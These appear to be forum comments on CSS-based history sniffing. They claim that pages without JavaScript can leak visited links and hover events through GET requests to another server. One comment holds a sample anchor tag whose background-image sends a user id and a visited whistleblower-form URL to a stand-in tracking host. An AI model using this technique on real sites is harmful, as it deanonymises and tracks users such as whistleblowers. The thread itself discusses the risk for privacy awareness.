For example: you'd hide every link, except the one that should trigger a GET to the attackers server to leave the information there. Easy - and with cascaded :NOT and ~ selectors you can accomplish this on scale. The links would look something like this:
<a href="https://secretsiteone.com/whistleblower/form" style="background-image: (url://uncloakwhistleblowers.com/img/transp.gif?checkeduser=id12345&vistedurl=secretsiteone.com%2Fwhistleblower%2Fform)">
A while back i demonstrated that a website without JS can trigger GET-requests BY HOVERING A LINK. My coworkers didn't believe me - they were wrong. Caveats: When caching is enabled this attack will trigger just once - but that is enough in that case.
I found the codepen, that i had made back then: http://codepen.io/teamgroove/pen/mIxfg
USE LYNX: Turns out one shouldn't just turnoff JS - but images also. Maybe then better use: lynx as a browser (with all cookie-stuff-deavtivated and behind a tor-proxy or better: proxy-chains) if concerned about privacy. Even that will NOT be "secure enough" - of course - it just wouldn't expose your browsing-history in the first place - which was the topic.
This is why OPs point is still true. Without JavaScript, this information is worthless.
No JS required, just CSS and HTTP.